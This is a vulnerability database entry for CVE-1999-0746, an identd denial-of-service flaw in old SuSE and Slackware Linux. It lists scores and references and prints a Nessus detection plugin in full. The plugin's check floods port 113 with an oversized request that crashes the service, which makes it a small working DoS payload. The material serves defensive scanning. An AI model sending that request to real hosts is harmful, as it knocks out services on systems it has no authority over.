Vulnerabilities > CVE-1999-0746

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
slackware
suse
nessus
exploit available

Summary

A default configuration of in.identd in SuSE Linux waits 120 seconds between requests, allowing a remote attacker to conduct a denial of service.

Exploit-Db

descriptionS.u.S.E. Linux 6.2,Slackware Linux 3.2/3.6 identd Denial of Service. CVE-1999-0746. Dos exploit for linux platform
idEDB-ID:19463
last seen2016-02-02
modified1999-08-16
published1999-08-16
reporterfriedolin
sourcehttps://www.exploit-db.com/download/19463/
titleS.u.S.E. Linux <= 6.2 / Slackware Linux 3.2/3.6 - identd Denial of Service

Nessus

NASL familyDenial of Service
NASL idSUSE_IDENTD.NASL
descriptionIdent is a protocol which gives to the remote server the name of the user who initiated a given connection. It\
last seen2020-06-01
modified2020-06-02
plugin id10560
published2000-11-29
reporterThis script is Copyright (C) 2000-2019 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10560
titleSuSE Linux in.identd Request Saturation DoS
code
#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#

##############
# References:
##############
#
# Date: Sun, 15 Sep 2002 04:04:09 +0000
# From: "Lance Fitz-Herbert" <[email protected]>
# Subject: Trillian .74 and below, ident flaw.
# To: [email protected]
#

include( 'compat.inc' );

if(description)
{
  script_id(10560);
  script_version ("1.25");
  script_cve_id("CVE-1999-0746");
  script_bugtraq_id(587);

  script_name(english:"SuSE Linux in.identd Request Saturation DoS");
  script_summary(english:"crashes the remote identd");

  script_set_attribute(
    attribute:'synopsis',
    value:'The remote service is vulnerable to denial of service.'
  );

  script_set_attribute(
    attribute:'description',
    value:'Ident is a protocol which gives to the remote server
the name of the user who initiated a given connection.
It\'s mainly used by IRC, SMTP and POP servers to obtain
the login name of the person who is using their services.

There is a flaw in the remote identd daemon which allows anyone
to crash this service remotely.'
  );

  script_set_attribute(
    attribute:'solution',
    value:'Disable this service if you do not use it, or upgrade.'
  );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(
    attribute:'see_also',
    value:'http://downloads.securityfocus.com/vulnerabilities/exploits/susekill.c'
  );

 script_set_attribute(attribute:"plugin_publication_date", value: "2000/11/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "1999/08/14");
 script_cvs_date("Date: 2019/10/25 13:36:27");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2000-2019 Tenable Network Security, Inc.");
 script_family(english:"Denial of Service");
 script_dependencie("find_service1.nasl");
 script_require_ports("Services/auth", 113);
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");

port = get_service(svc: "auth", default: 113, exit_on_fail: 1);

soc = open_sock_tcp(port);
if (! soc) exit(1);
req = strcat(crap(4096), ',', crap(4096), '\r\n');
 send(socket:soc, data:req);
 sleep(2);
 close(soc);

if (service_is_dead(port: port) > 0)
  security_warning(port);